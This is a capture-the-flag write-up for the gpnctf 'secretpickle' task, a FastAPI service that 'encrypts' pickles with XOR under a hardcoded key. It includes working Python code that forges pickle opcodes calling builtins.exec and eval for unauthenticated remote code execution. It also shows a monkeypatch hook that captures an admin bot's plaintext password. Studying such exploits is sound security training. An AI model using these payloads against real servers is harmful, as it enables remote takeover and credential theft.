$ cat writeup.md…
$ cat writeup.md…
gpnctf
Task: FastAPI app deserializes a 'secretpickle' blob (base64 + XOR with a key hardcoded in source) via pickle.loads, giving unauthenticated RCE. Solution: forge arbitrary pickle opcodes since the XOR key is known, install a request hook to capture decrypted payloads, trigger the adminbot whose pyodide client logs in as admin sending the FLAG (its password) in plaintext, then read it back.
The only serialization method that I found in the restaurant were Pickles. So I made an encrypted version of it that nobody can crack!
We are given secretpickle-easy.tar.gz with app/{adminbot.py, client.py, secretpickle.py, server.py, index.html, deps/...}. The goal is to read the flag, which lives at /flag.txt inside the adminbot container.
Frontend runs entirely in the browser via Pyodide (client.py + secretpickle.py). It parses URL query params with yaml.safe_load and renders server results via DOMPurify.sanitize + document.write.
Backend is FastAPI (server.py). One key endpoint:
@app.post("/{b64:path}") async def secretpickle_handle(request: Request, b64: str): pl = secretpickle_load(b64) # -> pickle.loads action = pl.get("action", pl.get("a")) params = pl.get("params", pl.get("p", {})) res = await action_handler(action, params, pl) return secretpickle_dump(res)
Actions: home, hello, register, login, whoami, encrypt, decrypt, adminbot.
adminbot (adminbot.py, Playwright/chromium). On every visit it:
admin with password=FLAG,admin (which stores username/password in the headless browser's localStorage),whoami,FLAG = open("/flag.txt").read().strip() ... await page.goto(action_url("register", username="admin", password=FLAG)) await page.goto(action_url("login", username="admin", password=FLAG)) await page.goto(action_url("whoami")) await page.goto(url) # attacker-controlled
secretpickle.py is the entire crypto:
SECRETPICKLE_OBJECT_PREFIX = bytes.fromhex("8004 950000000000000000 7d 94 28") # proto4 + FRAME(len=0) + EMPTY_DICT + MEMOIZE + MARK # "128 random bits, so same security as AES-128" SECRETPICKLE_XOR_KEY = bytes.fromhex("77c07f8fd2ae7ad9f5aabc008c79d0d3") # HARDCODED def secretpickle_dump(decoded, encoder=pickle.dumps): raw = encoder(decoded) trimmed = raw[len(SECRETPICKLE_OBJECT_PREFIX):] # strip fixed 14-byte prefix return base64.b64encode(xor(trimmed, KEY)).decode() def secretpickle_load(encoded, decoder=pickle.loads): decoded = base64.b64decode(encoded) untrimmed = SECRETPICKLE_OBJECT_PREFIX + xor(decoded, KEY) # re-prepend prefix return decoder(untrimmed) # pickle.loads!
Root cause: the "encryption" is XOR with a key committed in the source, so it provides zero secrecy. Anyone can forge an arbitrary secretpickle blob → arbitrary pickle bytes are passed to pickle.loads on the server → unauthenticated remote code execution. (Classic: pickle is not a secure format, and XOR-with-known-key is not encryption.)
/flag.txt) and is used as the admin password.USERS only stores sha256(FLAG) — not reversible:
USERS[username] = {"username": username, "password": hash(password)} # sha256
password=FLAG in plaintext to the server (the password is in the secretpickle body sent to POST /{b64}). So with server RCE we hook the request handler to capture every decrypted payload, trigger the adminbot, and the admin login leaks FLAG in plaintext into our capture, which we read back.secretpickle_load always prepends the fixed 14-byte PREFIX. That prefix is exactly proto4 + FRAME + EMPTY_DICT + MEMOIZE + MARK, i.e. it leaves an empty dict {} and a MARK on the pickle stack — harmless. To forge an arbitrary pickle P:
P = PREFIX + <your opcodes>. Append a REDUCE object + STOP; pickle.loads returns the top of the stack (your object), ignoring the leftover {}/MARK.b64 = base64( XOR( P[14:], KEY ) ) to POST /{b64}.def forge(full_pickle: bytes) -> str: assert full_pickle[:len(PFX)] == PFX return base64.b64encode(secretpickle_encrypt(full_pickle[len(PFX):])).decode() def pstr(s: bytes) -> bytes: # SHORT_BINUNICODE / BINUNICODE if len(s) < 256: return b'\x8c' + bytes([len(s)]) + s return b'X' + len(s).to_bytes(4, 'little') + s
Two payload builders:
def payload_exec(code: str) -> str: # runs builtins.exec(code) during unpickling (side effects; loaded value = None) ops = b'cbuiltins\nexec\n(' + pstr(code.encode()) + b'tR.' return forge(PFX + ops) def payload_eval_to_hello(code: str) -> str: # loaded value = {'action':'hello','params':{'name': str(eval(code))}} # server 'hello' returns "Hello, {name}!" -> echoes eval result back to us expr = "{'action':'hello','params':{'name': str(%s)}}" % code ops = b'cbuiltins\neval\n(' + pstr(expr.encode()) + b'tR.' return forge(PFX + ops)
payload_eval_to_hello gives us both an RCE confirmation and an arbitrary read primitive: the hello action returns "Hello, {name}!", so the result of evaluating any expression is echoed back in the HTTP response.
We exec code that wraps both secretpickle.secretpickle_load and server.secretpickle_load so every decrypted payload's repr is appended to builtins._cap.
HOOK_CODE = ( "import builtins, server, secretpickle, pickle\n" "if not hasattr(builtins, '_cap'):\n" " builtins._cap = []\n" " _o = secretpickle.secretpickle_load\n" " def _hook(encoded, decoder=pickle.loads, _o=_o, _b=builtins):\n" " r = _o(encoded, decoder)\n" " try: _b._cap.append(repr(r))\n" " except Exception: pass\n" " return r\n" " secretpickle.secretpickle_load = _hook\n" " server.secretpickle_load = _hook\n" )
Two gotchas worth remembering:
builtins.exec(code_string) inside the unpickling frame, the exec namespace does not persist as the nested function's globals, so the inner function loses references like builtins and the original function. Fix: bind them as default arguments (def _hook(encoded, decoder=pickle.loads, _o=_o, _b=builtins): ...).server.py did from secretpickle import secretpickle_load, so it holds its own name binding — you must patch server.secretpickle_load too, not just the one in the secretpickle module.POST payload_eval_to_hello("7*6") → response Hello, 42! confirms server RCE + read primitive.POST payload_exec(HOOK_CODE) → installs the capture hook (the response is an error because the loaded value is None, but the side effect succeeds).POST a normal secretpickle for action=adminbot with params.url = base64("http://127.0.0.1/?action=home"). The adminbot register+login+whoami as admin, sending password=FLAG in plaintext to the server, captured by the hook. (The adminbot fetch may report Remote end closed connection without response or take ~15–25s; that's fine, the capture still happens.)POST payload_eval_to_hello("__import__('builtins')._cap") → the server returns the captured payloads, including the admin login with the plaintext FLAG. Regex GPNCTF\{[^}]*\} extracts it.post(payload_eval_to_hello("7*6")) # -> "Hello, 42!" post(payload_exec(HOOK_CODE)) # install hook bot_url = base64.b64encode(b"http://127.0.0.1/?action=home").decode() post(secretpickle_dump({"action": "adminbot", "params": {"url": bot_url}})) time.sleep(25) res = post(payload_eval_to_hello("__import__('builtins')._cap")) print(re.findall(r"GPNCTF\{[^}]*\}", str(res)))
Stage 4 returned:
Hello, ["{'action': 'adminbot', 'params': {'url': 'aHR0cDovLzEyNy4wLjAuMS8/YWN0aW9uPWhvbWU='}}",
"{'action': 'login', 'params': {'username': 'admin',
'password': 'GPNCTF{the_PICK13_was_53CReT_bu7_never_sEcUR3}'}}"]!
html() sanitizes everything, so direct DOM XSS to read localStorage is not viable.client.load_params (to make params alias the root dict so the post-set password gets reflected): impossible because the client transforms every & into a newline (and %26 unquotes to & then becomes a newline), and YAML anchors require &.pickle.loads in the browser is on the server's response, so you must control the server (server RCE) to influence it — hence the server-side capture approach is the clean path.USERS is useless: only sha256(FLAG) is stored.$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar